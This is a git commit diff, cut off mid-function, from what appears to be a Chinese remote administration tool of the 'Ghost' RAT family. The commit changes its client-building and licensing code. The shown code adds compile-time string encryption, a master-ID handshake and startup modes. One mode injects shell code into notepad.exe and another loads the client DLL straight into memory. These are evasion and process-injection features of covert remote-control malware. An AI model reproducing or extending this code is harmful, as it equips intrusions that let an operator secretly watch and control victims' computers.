Update client building feature / All in one
This commit is contained in:
15
ReadMe.md
15
ReadMe.md
@@ -37,7 +37,8 @@
|
||||

|
||||
|
||||
桌面管理即"远程桌面",控制远程机器。可以通过菜单设置远程桌面的参数:
|
||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。虚拟桌面尚未开发,但也是能支持的。
|
||||
屏幕截图方法支持GDI或DXGI,图像压缩方法支持灰度图像传输、屏幕差异算法和H264压缩。
|
||||
另外,支持上报活动窗口和检测指定软件。
|
||||
|
||||

|
||||
|
||||
@@ -75,9 +76,9 @@
|
||||
|
||||

|
||||
|
||||
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要申请"序列号";
|
||||
当前对生成服务功能进行了限制,需要取得口令方可操作。给新编译的程序14天试用期,过期之后生成服务端需要凭借"序列号"申请口令;
|
||||
如果要对其他功能乃至整个程序启动授权逻辑,或者屏蔽该授权逻辑,请参考`OnOnlineBuildClient`函数。
|
||||
序列号包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。
|
||||
“口令”包含授权日期范围,确保一机一码;授权逻辑会检测计算机日期未被篡改。生成口令需使用密码。
|
||||
|
||||
## 受控程序
|
||||

|
||||
@@ -134,6 +135,14 @@ Release v1.0.8:
|
||||
- Add `HPSocket` libraries which may be used in the future, and add static ffmpeg libraries to build Win64 master;
|
||||
- Implement a memory DLL runner: the `TestRun` program request DLL from master and execute in memory.
|
||||
|
||||
**2025.04.30**
|
||||
|
||||
Release v1.0.9:
|
||||
|
||||
- Update client building feature / All in one; The master will only accept the clients built by itself.
|
||||
- Improve authorization feature.
|
||||
|
||||
|
||||
# 沟通反馈
|
||||
|
||||
QQ:962914132
|
||||
|
||||
BIN
Releases/v1.0.9.7z
Normal file
BIN
Releases/v1.0.9.7z
Normal file
Binary file not shown.
@@ -11,7 +11,7 @@
|
||||
#define CLIENT_PARALLEL_NUM 1
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL};
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION};
|
||||
|
||||
// <20><><EFBFBD>տͻ<D5BF><CDBB><EFBFBD>ֻ<EFBFBD><D6BB>2<EFBFBD><32>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_SETTINGS<47><53>g_MyApp<70><70><EFBFBD><EFBFBD>g_SETTINGS<47><53>Ϊg_MyApp<70>ij<EFBFBD>Ա.
|
||||
// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB>һ<EFBFBD><D2BB>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD>: g_MyApp
|
||||
@@ -493,7 +493,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance);
|
||||
|
||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings.ClientType());
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings);
|
||||
ClientObject->SendLoginInfo(login);
|
||||
|
||||
do
|
||||
|
||||
@@ -6,6 +6,7 @@
|
||||
#include <iomanip>
|
||||
#include <ctime>
|
||||
#include <NTSecAPI.h>
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
// by ChatGPT
|
||||
bool IsWindows11() {
|
||||
@@ -44,7 +45,7 @@ std::string getSystemName()
|
||||
}
|
||||
if (IsWindows11()) {
|
||||
vname = "Windows 11";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
DWORD dwMajor, dwMinor, dwBuildNumber;
|
||||
@@ -57,13 +58,13 @@ std::string getSystemName()
|
||||
if (dwMajor == 6 && dwMinor == 3) //win 8.1
|
||||
{
|
||||
vname = "Windows 8.1";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
if (dwMajor == 10 && dwMinor == 0) //win 10
|
||||
{
|
||||
vname = "Windows 10";
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
return vname;
|
||||
}
|
||||
//<2F><><EFBFBD>治<EFBFBD><E6B2BB><EFBFBD>ж<EFBFBD>Win Server<65><72><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>˻<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ<CFB5>Ļ<EFBFBD><C4BB>ӣ<EFBFBD><D3A3><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
@@ -141,10 +142,10 @@ std::string getSystemName()
|
||||
default:
|
||||
vname = "δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϵͳ";
|
||||
}
|
||||
printf_s("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
Mprintf("<EFBFBD>˵<EFBFBD><EFBFBD>Եİ汾Ϊ:%s\n", vname.c_str());
|
||||
}
|
||||
else
|
||||
printf_s("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||
Mprintf("<EFBFBD>汾<EFBFBD><EFBFBD>ȡʧ<EFBFBD><EFBFBD>\n");
|
||||
return vname;
|
||||
}
|
||||
|
||||
@@ -178,7 +179,7 @@ std::string getProcessTime() {
|
||||
return buffer;
|
||||
}
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
||||
{
|
||||
LOGIN_INFOR LoginInfor;
|
||||
LoginInfor.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
@@ -194,12 +195,17 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType)
|
||||
|
||||
BOOL bWebCamIsExist = WebCamIsExist();
|
||||
|
||||
memcpy(LoginInfor.szPCName,szPCName,MAX_PATH);
|
||||
memcpy(LoginInfor.szPCName,szPCName,sizeof(LoginInfor.szPCName));
|
||||
LoginInfor.dwSpeed = dwSpeed;
|
||||
LoginInfor.dwCPUMHz = dwCPUMHz;
|
||||
LoginInfor.bWebCamIsExist = bWebCamIsExist;
|
||||
strcpy_s(LoginInfor.szStartTime, getProcessTime().c_str());
|
||||
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(nType));
|
||||
sprintf_s(LoginInfor.szReserved, "%s", GetClientType(conn.ClientType()));
|
||||
bool isDefault = strlen(conn.szFlag) == 0 || strcmp(conn.szFlag, skCrypt(FLAG_GHOST)) == 0 ||
|
||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||
|
||||
return LoginInfor;
|
||||
}
|
||||
|
||||
@@ -5,6 +5,6 @@
|
||||
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, int nType);
|
||||
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS &conn);
|
||||
DWORD CPUClockMHz();
|
||||
BOOL WebCamIsExist();
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,0,8
|
||||
FILEVERSION 1,0,0,9
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.0.8"
|
||||
VALUE "FileVersion", "1.0.0.9"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
Binary file not shown.
@@ -30,9 +30,9 @@ IsExit bExit = NULL;
|
||||
BOOL status = 0;
|
||||
|
||||
#ifdef _DEBUG
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
|
||||
#else
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
|
||||
#endif
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
@@ -275,25 +275,33 @@ int main(int argc, const char *argv[])
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
|
||||
// Try to inject shell code to `notepad.exe`
|
||||
// If failed then run memory DLL
|
||||
ShellcodeInj inj;
|
||||
int pid = 0;
|
||||
do{
|
||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||
break;
|
||||
if (!(pid = inj.InjectProcess(nullptr))) {
|
||||
break;
|
||||
}
|
||||
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess == NULL) {
|
||||
break;
|
||||
}
|
||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
|
||||
CloseHandle(hProcess);
|
||||
Mprintf("Process [%d] is finished.\n", pid);
|
||||
} while (pid);
|
||||
// <EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
|
||||
if (g_ConnectAddress.iStartup == Startup_InjSC)
|
||||
{
|
||||
// Try to inject shell code to `notepad.exe`
|
||||
// If failed then run memory DLL
|
||||
ShellcodeInj inj;
|
||||
int pid = 0;
|
||||
do {
|
||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||
break;
|
||||
if (!(pid = inj.InjectProcess(nullptr))) {
|
||||
break;
|
||||
}
|
||||
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess == NULL) {
|
||||
break;
|
||||
}
|
||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
|
||||
CloseHandle(hProcess);
|
||||
Mprintf("Process [%d] is finished.\n", pid);
|
||||
} while (pid);
|
||||
}
|
||||
|
||||
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||
}
|
||||
|
||||
do {
|
||||
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
@@ -346,7 +354,20 @@ BOOL Run(const char* argv1, int argv2) {
|
||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||
}
|
||||
}
|
||||
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner;
|
||||
DllRunner* runner = nullptr;
|
||||
switch (g_ConnectAddress.iStartup)
|
||||
{
|
||||
case Startup_DLL:
|
||||
runner = new DefaultDllRunner;
|
||||
break;
|
||||
case Startup_MEMDLL:
|
||||
runner = new MemoryDllRunner;
|
||||
break;
|
||||
default:
|
||||
ExitProcess(-1);
|
||||
break;
|
||||
}
|
||||
|
||||
void* hDll = runner->LoadLibraryA(path);
|
||||
typedef void (*TestRun)(char* strHost, int nPort);
|
||||
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
||||
|
||||
@@ -61,6 +61,7 @@ typedef void* LPVOID, * HANDLE;
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <time.h>
|
||||
#include <unordered_map>
|
||||
|
||||
#ifndef _MAX_PATH
|
||||
#define _MAX_PATH 260
|
||||
@@ -72,6 +73,9 @@ typedef void* LPVOID, * HANDLE;
|
||||
|
||||
#define FLAG_GHOST FLAG_FINDEN
|
||||
|
||||
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
||||
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||
|
||||
@@ -265,6 +269,59 @@ inline const char* GetClientType(int typ) {
|
||||
}
|
||||
}
|
||||
|
||||
inline int compareDates(const std::string& date1, const std::string& date2) {
|
||||
static const std::unordered_map<std::string, int> monthMap = {
|
||||
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
|
||||
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
|
||||
};
|
||||
|
||||
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
|
||||
int month = monthMap.at(date.substr(0, 3));
|
||||
int day = std::stoi(date.substr(4, 2));
|
||||
int year = std::stoi(date.substr(7, 4));
|
||||
return { year, month, day };
|
||||
};
|
||||
|
||||
try {
|
||||
auto t1 = parse(date1);
|
||||
auto t2 = parse(date2);
|
||||
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
|
||||
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
|
||||
|
||||
if (y1 != y2) return y1 < y2 ? -1 : 1;
|
||||
if (m1 != m2) return m1 < m2 ? -1 : 1;
|
||||
if (d1 != d2) return d1 < d2 ? -1 : 1;
|
||||
return 0;
|
||||
}
|
||||
catch (const std::exception& e) {
|
||||
std::cerr << "Date parse error: " << e.what() << std::endl;
|
||||
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
|
||||
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
|
||||
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
|
||||
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
|
||||
enum TestRunType {
|
||||
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
|
||||
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
|
||||
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||
};
|
||||
|
||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||
{
|
||||
for (int i = 0; i < iBufferSize - iKeySize; ++i)
|
||||
{
|
||||
if (0 == memcmp(szBuffer + i, Key, iKeySize))
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
@@ -276,7 +333,8 @@ public:
|
||||
bool bEncrypt;
|
||||
char szBuildDate[12];
|
||||
int iMultiOpen;
|
||||
char szReserved[134]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD>ṹ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD>
|
||||
int iStartup; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
char szReserved[130]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
@@ -285,6 +343,12 @@ public:
|
||||
const void* Flag() const {
|
||||
return szFlag;
|
||||
}
|
||||
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
|
||||
CONNECT_ADDRESS copy = *this;
|
||||
memset(copy.szFlag, 0, sizeof(szFlag));
|
||||
memcpy(copy.szFlag, flag, strlen(flag));
|
||||
return copy;
|
||||
}
|
||||
int FlagLen() const {
|
||||
return strlen(szFlag);
|
||||
}
|
||||
@@ -344,7 +408,8 @@ typedef struct LOGIN_INFOR
|
||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
|
||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
|
||||
163
common/skCrypter.h
Normal file
163
common/skCrypter.h
Normal file
@@ -0,0 +1,163 @@
|
||||
#pragma once
|
||||
|
||||
/*____________________________________________________________________________________________________________
|
||||
|
||||
Original Author: skadro
|
||||
Github: https://github.com/skadro-official
|
||||
License: See end of file
|
||||
|
||||
skCrypter
|
||||
Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+
|
||||
|
||||
*Not removing this part is appreciated*
|
||||
____________________________________________________________________________________________________________*/
|
||||
|
||||
#ifdef _KERNEL_MODE
|
||||
namespace std
|
||||
{
|
||||
// STRUCT TEMPLATE remove_reference
|
||||
template <class _Ty>
|
||||
struct remove_reference {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
struct remove_reference<_Ty&> {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
struct remove_reference<_Ty&&> {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
using remove_reference_t = typename remove_reference<_Ty>::type;
|
||||
|
||||
// STRUCT TEMPLATE remove_const
|
||||
template <class _Ty>
|
||||
struct remove_const { // remove top-level const qualifier
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
struct remove_const<const _Ty> {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
using remove_const_t = typename remove_const<_Ty>::type;
|
||||
}
|
||||
#else
|
||||
#include <type_traits>
|
||||
#endif
|
||||
|
||||
namespace skc
|
||||
{
|
||||
template<class _Ty>
|
||||
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
||||
|
||||
template <int _size, char _key1, char _key2, typename T>
|
||||
class skCrypter
|
||||
{
|
||||
public:
|
||||
__forceinline constexpr skCrypter(T* data)
|
||||
{
|
||||
crypt(data);
|
||||
}
|
||||
|
||||
__forceinline T* get()
|
||||
{
|
||||
return _storage;
|
||||
}
|
||||
|
||||
__forceinline int size() // (w)char count
|
||||
{
|
||||
return _size;
|
||||
}
|
||||
|
||||
__forceinline char key()
|
||||
{
|
||||
return _key1;
|
||||
}
|
||||
|
||||
__forceinline T* encrypt()
|
||||
{
|
||||
if (!isEncrypted())
|
||||
crypt(_storage);
|
||||
|
||||
return _storage;
|
||||
}
|
||||
|
||||
__forceinline T* decrypt()
|
||||
{
|
||||
if (isEncrypted())
|
||||
crypt(_storage);
|
||||
|
||||
return _storage;
|
||||
}
|
||||
|
||||
__forceinline bool isEncrypted()
|
||||
{
|
||||
return _storage[_size - 1] != 0;
|
||||
}
|
||||
|
||||
__forceinline void clear() // set full storage to 0
|
||||
{
|
||||
for (int i = 0; i < _size; i++)
|
||||
{
|
||||
_storage[i] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
__forceinline operator T* ()
|
||||
{
|
||||
decrypt();
|
||||
|
||||
return _storage;
|
||||
}
|
||||
|
||||
private:
|
||||
__forceinline constexpr void crypt(T* data)
|
||||
{
|
||||
for (int i = 0; i < _size; i++)
|
||||
{
|
||||
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
|
||||
}
|
||||
}
|
||||
|
||||
T _storage[_size]{};
|
||||
};
|
||||
}
|
||||
|
||||
#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7])
|
||||
#define skCrypt_key(str, key1, key2) []() { \
|
||||
constexpr static auto crypted = skc::skCrypter \
|
||||
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
|
||||
return crypted; }()
|
||||
|
||||
/*________________________________________________________________________________
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 skadro
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
________________________________________________________________________________*/
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 51 KiB |
BIN
images/Yama.jpg
BIN
images/Yama.jpg
Binary file not shown.
|
Before Width: | Height: | Size: 165 KiB After Width: | Height: | Size: 132 KiB |
Binary file not shown.
@@ -24,6 +24,8 @@
|
||||
#include "CPasswordDlg.h"
|
||||
#include "pwd_gen.h"
|
||||
#include "DateVerify.h"
|
||||
#include <fstream>
|
||||
#include "common/skCrypter.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
@@ -198,6 +200,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
|
||||
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -235,9 +238,15 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
VOID CMy2015RemoteDlg::CreateSolidMenu()
|
||||
{
|
||||
HMENU hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //<2F><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>Դ
|
||||
::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
||||
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
|
||||
std::string masterHash(skCrypt(MASTER_HASH));
|
||||
if (GetPwdHash() != masterHash) {
|
||||
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
|
||||
}
|
||||
|
||||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //Ϊ<><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò˵<C3B2>
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //<2F><>ʾ<EFBFBD>˵<EFBFBD>
|
||||
}
|
||||
|
||||
VOID CMy2015RemoteDlg::CreatStatusBar()
|
||||
@@ -644,7 +653,12 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
if (!CheckValid())
|
||||
{
|
||||
KillTimer(nIDEvent);
|
||||
return OnMainExit();
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||||
dlg.DoModal();
|
||||
if (hashSHA256(dlg.m_str.GetString()) != std::string(skCrypt(MASTER_HASH)))
|
||||
return OnMainExit();
|
||||
